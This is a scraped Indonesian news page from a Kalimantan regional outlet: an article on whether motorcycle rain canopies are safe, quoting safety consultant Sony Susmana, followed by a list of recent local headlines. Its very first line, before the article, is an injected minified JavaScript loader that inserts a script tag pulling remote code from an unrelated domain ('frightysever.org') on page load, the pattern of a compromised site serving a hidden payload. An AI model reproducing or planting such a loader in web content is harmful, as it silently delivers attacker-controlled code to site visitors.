(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Motor Pakai Kanopi, Ini Kata Pakar Safety Riding


Bagi seseorang yang memiliki mobilitas tinggi, dan hanya mengandalkan sepeda motor sebagai transportasi, turunnya hujan kadang menyulitkan. Untung, beberapa produsen aksesori memiliki solusinya.

Salah satunya adalah sebuat alat yang disebut kanopi. Bentuknya seperti atap dan berbentuk melengkung, guna menghalangi pengendara dari guyuran air hujan. Agar pandangan pengendara tidak terhalang, kanopi dibuat dari material tipis dan transparan.

Meski demikian, ternyata penggunaan perangkat ini menimbulkan kontra. Apabila motor dibawa melaju cepat, kanopi rawan terlepas atau rusak karena paparan angin.

Menurut pendiri Safety Defensive Consultant Indonesia, Sony Susmana, penggunaan kanopi memang nyaman, tapi tak berarti aman. Sebab, sejauh ini belum ada uji kelayakan mengenai perangkat tersebut.

“Enggak aman, karena belum melalui uji coba mendetail. Modifikasi banyak yang mengedepankan kenyamanan, tapi belum tentu aman. Kanopi salah satunya,” ujarnya seperti dilansir VIVA.co.id, Jumat 15 Maret 2019.

Selain itu, rupa kanopi yang mengurung pengendara juga berbahaya. Terutama saat menerima terpaan angin dari arah samping, dikhawatirkan akan menyebabkan oleng.

“Coba lihat dari sisi keseimbangan, terutama saat motor menerima tekanan angin secara berlebih,” tuturnya.

Selanjutnya, ungkap Sony, pengaplikasian kanopi di Indonesia agaknya kurang tepat. Mengingat, budaya berkendara di Tanah Air cenderung kurang tertib. Penambahan aksesori besar seperti kanopi, harus melalui riset yang matang.

“Pemasangannya sistem rigid atau knockdown? Ketika motor jatuh, kanopi tentu akan membahayakan penumpang. Selain itu, bisa mengganggu visibilitas pengendara. Jadi, harus dibiasakan dan disesuaikan (dengan budaya berkendara di Indonesia),” jelasnya. (ang/vvn)

Reporter:ang/vvn
Editor:KK

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

13 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

13 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

19 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.